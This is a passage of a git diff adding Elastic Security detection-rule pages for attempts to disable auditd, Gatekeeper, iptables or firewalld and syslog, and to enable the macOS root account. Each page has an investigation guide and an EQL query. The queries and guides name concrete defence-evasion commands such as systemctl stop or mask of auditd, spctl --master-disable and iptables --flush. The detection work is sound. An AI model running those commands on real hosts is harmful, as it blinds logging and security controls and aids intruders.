Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-disable-auditd-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-disable-auditd-service.asciidoc new file mode 100644 index 0000000000..9e71f6cbd6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-disable-auditd-service.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-20-attempt-to-disable-auditd-service]] +=== Attempt to Disable Auditd Service + +Adversaries may attempt to disable the Auditd service to evade detection. Auditd is a Linux service that provides system auditing and logging. Disabling the Auditd service can prevent the system from logging important security events, which can be used to detect malicious activity. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* endgame-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Disable Auditd Service* + + +Auditd is a critical Linux service responsible for system auditing and logging, capturing security-relevant events. Adversaries may target this service to evade detection by disabling it, thus preventing the logging of their activities. The detection rule identifies suspicious processes attempting to stop or disable Auditd, such as using commands like `service stop` or `systemctl disable`, signaling potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process details to identify the user account associated with the suspicious command execution, focusing on the process fields such as process.name and process.args. +- Check the system logs for any preceding or subsequent suspicious activities around the time of the alert, particularly looking for other defense evasion tactics or unauthorized access attempts. +- Investigate the command history of the user identified to determine if there are any other unauthorized or suspicious commands executed. +- Verify the current status of the Auditd service on the affected host to ensure it is running and properly configured. +- Correlate the alert with any other security events or alerts from the same host or user to identify potential patterns or broader attack campaigns. + + +*False positive analysis* + + +- System administrators may intentionally stop or disable the Auditd service during maintenance or troubleshooting. To handle this, create exceptions for known maintenance windows or specific administrator accounts. +- Automated scripts or configuration management tools might stop or disable Auditd as part of routine system updates or deployments. Identify these scripts and whitelist their activities to prevent false alerts. +- Some Linux distributions or custom setups might have alternative methods for managing services that could trigger this rule. Review and adjust the detection criteria to align with the specific service management practices of your environment. +- In environments where Auditd is not used or is replaced by another logging service, the rule might trigger unnecessarily. Consider disabling the rule or adjusting its scope in such cases. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and potential lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert that are attempting to disable the Auditd service to stop the adversary's actions. +- Re-enable and restart the Auditd service on the affected system to ensure that auditing and logging are resumed, capturing any further suspicious activities. +- Conduct a thorough review of the system logs and audit records to identify any unauthorized changes or additional indicators of compromise that may have occurred prior to the alert. +- Apply any necessary security patches or updates to the affected system to address vulnerabilities that may have been exploited by the adversary. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems may be affected. +- Implement enhanced monitoring and alerting for similar activities across the network to detect and respond to future attempts to disable critical security services. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and ( + (process.name == "service" and process.args == "stop") or + (process.name == "chkconfig" and process.args == "off") or + (process.name == "update-rc.d" and process.args in ("remove", "disable")) or + (process.name == "systemctl" and process.args in ("disable", "stop", "kill", "mask")) +) and +process.args in ("auditd", "auditd.service") and +not ?process.parent.name == "auditd.prerm" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-disable-gatekeeper.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-disable-gatekeeper.asciidoc new file mode 100644 index 0000000000..dee378196c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-disable-gatekeeper.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-20-attempt-to-disable-gatekeeper]] +=== Attempt to Disable Gatekeeper + +Detects attempts to disable Gatekeeper on macOS. Gatekeeper is a security feature that's designed to ensure that only trusted software is run. Adversaries may attempt to disable Gatekeeper before executing malicious code. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.apple.com/en-us/HT202491 +* https://community.carbonblack.com/t5/Threat-Advisories-Documents/TAU-TIN-Shlayer-OSX/ta-p/68397 + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Disable Gatekeeper* + + +Gatekeeper is a macOS security feature that ensures only trusted software runs by verifying app signatures. Adversaries may attempt to disable it to execute unauthorized code, bypassing security checks. The detection rule identifies such attempts by monitoring process events for specific commands used to disable Gatekeeper, flagging potential defense evasion activities. + + +*Possible investigation steps* + + +- Review the process event details to confirm the presence of the command `spctl --master-disable` in the `process.args` field, which indicates an attempt to disable Gatekeeper. +- Identify the user account associated with the process event to determine if the action was initiated by a legitimate user or an unauthorized actor. +- Check the `event.category` and `event.type` fields to ensure the event is categorized as a process start, which aligns with the rule's detection criteria. +- Investigate the parent process of the flagged event to understand the context in which the Gatekeeper disabling attempt was made, looking for any suspicious or unexpected parent processes. +- Examine recent process events on the same host to identify any subsequent or preceding suspicious activities that might indicate a broader attack or compromise. +- Review system logs and other security alerts on the host for additional indicators of compromise or related malicious activities. +- Assess the risk and impact of the event by considering the host's role, the sensitivity of data it handles, and any potential exposure resulting from the attempted Gatekeeper disablement. + + +*False positive analysis* + + +- System administrators or IT personnel may intentionally disable Gatekeeper for legitimate software installations or troubleshooting. To manage this, create exceptions for known administrative accounts or specific maintenance windows. +- Some legitimate applications may require Gatekeeper to be disabled temporarily for installation. Identify these applications and whitelist their installation processes to prevent false alerts. +- Development environments on macOS might disable Gatekeeper to test unsigned applications. Consider excluding processes initiated by development tools or specific user accounts associated with development activities. +- Automated scripts or management tools that configure macOS settings might trigger this rule. Review and adjust these scripts to ensure they are recognized as non-threatening, or exclude them from monitoring if they are verified as safe. + + +*Response and remediation* + + +- Immediately isolate the affected macOS device from the network to prevent potential lateral movement or further execution of unauthorized code. +- Terminate any suspicious processes associated with the attempt to disable Gatekeeper, specifically those involving the 'spctl --master-disable' command. +- Conduct a thorough review of recent system changes and installed applications on the affected device to identify and remove any unauthorized or malicious software. +- Restore Gatekeeper settings to their default state to ensure that only trusted software can be executed on the device. +- Escalate the incident to the security operations team for further analysis and to determine if additional devices or systems may be affected. +- Implement additional monitoring on the affected device and similar systems to detect any further attempts to disable Gatekeeper or other security features. +- Review and update endpoint security policies to enhance protection against similar threats, ensuring that all macOS devices are configured to prevent unauthorized changes to security settings. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + process.name == "spctl" and + process.args like~ "--master-disable" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Gatekeeper Bypass +** ID: T1553.001 +** Reference URL: https://attack.mitre.org/techniques/T1553/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-disable-iptables-or-firewall.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-disable-iptables-or-firewall.asciidoc new file mode 100644 index 0000000000..2803152790 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-disable-iptables-or-firewall.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-20-attempt-to-disable-iptables-or-firewall]] +=== Attempt to Disable IPTables or Firewall + +Adversaries may attempt to disable the iptables or firewall service in an attempt to affect how a host is allowed to receive or send network traffic. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/detecting-log4j2-with-elastic-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Disable IPTables or Firewall* + + +Firewalls like IPTables on Linux systems are crucial for controlling network traffic and protecting against unauthorized access. Adversaries may attempt to disable these firewalls to bypass security measures and facilitate malicious activities. The detection rule identifies suspicious processes that attempt to disable or stop firewall services, such as using commands to flush IPTables rules or halt firewall services, indicating potential defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process details, including process.name and process.args, to confirm if the command was intended to disable or stop firewall services. +- Check the process.parent.args to understand the context in which the suspicious process was executed, especially if it was triggered by a parent process with arguments like "force-stop". +- Investigate the user account associated with the process execution to determine if it was an authorized user or potentially compromised. +- Examine the host's recent activity logs for any other suspicious behavior or anomalies around the time of the alert, focusing on event.type "start" and event.action "exec" or "exec_event". +- Assess the network traffic logs to identify any unusual inbound or outbound connections that might have occurred after the firewall was disabled or stopped. +- Correlate this event with other alerts or incidents involving the same host or user to identify potential patterns or coordinated attack attempts. + + +*False positive analysis* + + +- Routine system maintenance or updates may trigger the rule when legitimate processes like systemctl or service are used to stop or restart firewall services. To manage this, create exceptions for known maintenance scripts or scheduled tasks that perform these actions. +- Network troubleshooting activities often involve temporarily disabling firewalls to diagnose connectivity issues. Users can exclude specific user accounts or IP addresses associated with network administrators from triggering the rule during these activities. +- Automated deployment scripts that configure or reconfigure firewall settings might match the rule's criteria. Identify and whitelist these scripts by their process names or execution paths to prevent false positives. +- Security software updates or installations may require temporary firewall adjustments, which could be flagged by the rule. Consider excluding processes associated with trusted security software vendors during update windows. +- Development or testing environments often have different security requirements, leading to frequent firewall changes. Implement environment-specific exceptions to avoid false positives in these contexts. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or potential lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert, such as those attempting to disable or stop firewall services, to halt ongoing malicious activities. +- Review and restore the firewall configurations to their last known good state to ensure that network traffic is properly controlled and unauthorized access is blocked. +- Conduct a thorough examination of the affected system for any signs of compromise or additional malicious activity, focusing on logs and system changes around the time of the alert. +- Escalate the incident to the security operations team for further analysis and to determine if the threat is part of a larger attack campaign. +- Implement additional monitoring and alerting for similar activities across the network to detect and respond to future attempts to disable firewall services promptly. +- Review and update firewall policies and configurations to enhance security measures and prevent similar defense evasion tactics in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and +( + /* disable FW */ + ( + (process.name == "ufw" and process.args == "disable") or + (process.name == "iptables" and process.args in ("-F", "--flush", "-X", "--delete-chain") and process.args_count == 2) or + (process.name in ("iptables", "ip6tables") and process.parent.args == "force-stop") + ) or + + /* stop FW service */ + ( + ( + (process.name == "service" and process.args == "stop") or + (process.name == "chkconfig" and process.args == "off") or + (process.name == "update-rc.d" and process.args in ("remove", "disable")) or + (process.name == "systemctl" and process.args in ("disable", "stop", "kill", "mask")) + ) and + process.args in ("firewalld", "ip6tables", "iptables", "firewalld.service", "ip6tables.service", "iptables.service") + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify System Firewall +** ID: T1562.004 +** Reference URL: https://attack.mitre.org/techniques/T1562/004/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-disable-syslog-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-disable-syslog-service.asciidoc new file mode 100644 index 0000000000..1a8ab8f9eb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-disable-syslog-service.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-20-attempt-to-disable-syslog-service]] +=== Attempt to Disable Syslog Service + +Syslog is a critical component in Linux environments, responsible for logging system events and activities. Adversaries may attempt to disable the syslog service to disrupt event logging and evade detection by security controls. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/detecting-log4j2-with-elastic-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Disable Syslog Service* + + +Syslog is a critical component in Linux environments, responsible for logging system events and activities. Adversaries may target syslog to disable logging, thereby evading detection and obscuring their malicious actions. The detection rule identifies attempts to stop or disable syslog services by monitoring specific process actions and arguments, flagging suspicious commands that could indicate an attempt to impair logging defenses. + + +*Possible investigation steps* + + +- Review the process details to identify the user account associated with the command execution, focusing on the process.name and process.args fields to determine if the action was legitimate or suspicious. +- Check the system's recent login history and user activity to identify any unauthorized access attempts or anomalies around the time the syslog service was targeted. +- Investigate the parent process of the flagged command to understand the context of its execution and determine if it was initiated by a legitimate application or script. +- Examine other logs and alerts from the same host around the time of the event to identify any correlated suspicious activities or patterns that might indicate a broader attack. +- Assess the system for any signs of compromise, such as unexpected changes in configuration files, unauthorized software installations, or unusual network connections, to determine if the attempt to disable syslog is part of a larger attack. + + +*False positive analysis* + + +- Routine maintenance activities may trigger this rule, such as scheduled service restarts or system updates. To manage this, create exceptions for known maintenance windows or specific administrative accounts performing these tasks. +- Automated scripts or configuration management tools like Ansible or Puppet might stop or disable syslog services as part of their operations. Identify these scripts and whitelist their execution paths or associated user accounts. +- Testing environments often simulate service disruptions, including syslog, for resilience testing. Exclude these environments from the rule or adjust the rule to ignore specific test-related processes. +- Some legitimate software installations or updates may require stopping syslog services temporarily. Monitor installation logs and exclude these processes if they are verified as non-threatening. +- In environments with multiple syslog implementations, ensure that the rule is not overly broad by refining the process arguments to match only the specific syslog services in use. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and potential lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert, specifically those attempting to stop or disable syslog services, to restore normal logging functionality. +- Restart the syslog service on the affected system to ensure that logging is re-enabled and operational, using commands like `systemctl start syslog` or `service syslog start`. +- Conduct a thorough review of recent logs, if available, to identify any additional suspicious activities or indicators of compromise that may have occurred prior to the syslog service being disabled. +- Escalate the incident to the security operations team for further investigation and to determine if the attack is part of a larger campaign or if other systems are affected. +- Implement additional monitoring on the affected system and similar systems to detect any further attempts to disable logging services, using enhanced logging and alerting mechanisms. +- Review and update access controls and permissions to ensure that only authorized personnel have the ability to modify or stop critical services like syslog, reducing the risk of future incidents. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and ( + (process.name == "service" and process.args == "stop") or + (process.name == "chkconfig" and process.args == "off") or + (process.name == "update-rc.d" and process.args in ("remove", "disable")) or + (process.name == "systemctl" and process.args in ("disable", "stop", "kill", "mask")) +) and +process.args in ("syslog", "rsyslog", "syslog-ng", "syslog.service", "rsyslog.service", "syslog-ng.service") and +not ( + process.parent.name == "rsyslog-rotate" or + process.args == "HUP" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Service Stop +** ID: T1489 +** Reference URL: https://attack.mitre.org/techniques/T1489/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-enable-the-root-account.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-enable-the-root-account.asciidoc new file mode 100644 index 0000000000..00988baab0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-attempt-to-enable-the-root-account.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-20-attempt-to-enable-the-root-account]] +=== Attempt to Enable the Root Account + +Identifies attempts to enable the root account using the dsenableroot command. This command may be abused by adversaries for persistence, as the root account is disabled by default. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://ss64.com/osx/dsenableroot.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Attempt to Enable the Root Account* + + +In macOS environments, the root account is typically disabled to enhance security. However, adversaries may attempt to enable it using the `dsenableroot` command to gain persistent, elevated access. The detection rule identifies such attempts by monitoring process events for the execution of `dsenableroot` without the disable flag, indicating potential misuse for persistence. + + +*Possible investigation steps* + + +- Review the process event logs to confirm the execution of the dsenableroot command without the disable flag, as indicated by the absence of process.args:"-d". +- Identify the user account associated with the process event to determine if the action was initiated by a legitimate user or a potential adversary. +- Check for any recent changes in user account permissions or configurations that might indicate unauthorized access or privilege escalation. +- Investigate any other suspicious activities or process executions around the same time as the dsenableroot command to identify potential lateral movement or further persistence mechanisms. +- Correlate the event with other security alerts or logs from the same host to assess if this is part of a broader attack campaign. + + +*False positive analysis* + + +- System administrators may legitimately enable the root account for maintenance or troubleshooting. To handle this, create exceptions for known administrator accounts or specific maintenance windows. +- Automated scripts or management tools might use the dsenableroot command as part of their operations. Identify these tools and exclude their process signatures from triggering alerts. +- Educational or testing environments may require enabling the root account for instructional purposes. Implement exclusions for these environments by tagging relevant systems or user accounts. +- Ensure that any exclusion rules are regularly reviewed and updated to reflect changes in administrative practices or tool usage to maintain security integrity. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent any potential lateral movement by the adversary. +- Terminate any unauthorized processes associated with the `dsenableroot` command to halt further misuse of elevated privileges. +- Review system logs and user activity to identify any unauthorized changes or access that occurred after the root account was enabled. +- Reset the root account password and disable the root account to prevent further unauthorized access. +- Conduct a thorough scan of the system for any additional signs of compromise or persistence mechanisms that may have been installed. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. 